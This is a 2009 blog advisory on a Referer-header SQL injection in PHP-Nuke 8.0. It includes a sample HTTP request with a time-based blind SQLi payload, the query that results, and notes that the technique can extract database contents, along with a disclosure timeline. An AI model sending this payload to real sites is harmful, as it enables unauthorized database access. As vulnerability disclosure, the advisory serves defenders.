Wednesday, May 27, 2009

PHP Nuke v.8.0 (referer) SQL Injection

Author: Gerendi Sandor Attila
Date: May 14, 2009
Package: PHP-Nuke
Product homepage:
Versions Affected: v.8.0 (Other versions may also be affected)
Severity: High

The 'referer' header element when requesting the '/main/tracking/userLog.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.


- Sample request:
GET http://somehost/PHP-Nuke-8.0/index.php HTTP/1.0
Accept: */*
referer: '+IF(False,'',SLEEP(5))+'
This will result in a query like:
INSERT INTO nuke_referer VALUES (NULL, ''+IF(False,'',SLEEP(5))+'')
and the HTTP response will arrive after 5 seconds, replacing the 'False' statement with conditional queries can be used to extract arbitrary data from the database. Also the injection can be used to insert arbitrary data into the 'nuke_referer' table.

1. Contacted the author at: May 14, 2009 via:
2. No response received (May 27, 2009)
3. According to Evaders99 this vulnerability was already reported in 2007 (, thanks for the update. Still the downloadable v.8.0 was vulnerable.

1 comment:

  1. This seems to be a duplicate of

    Which is in the Patched files already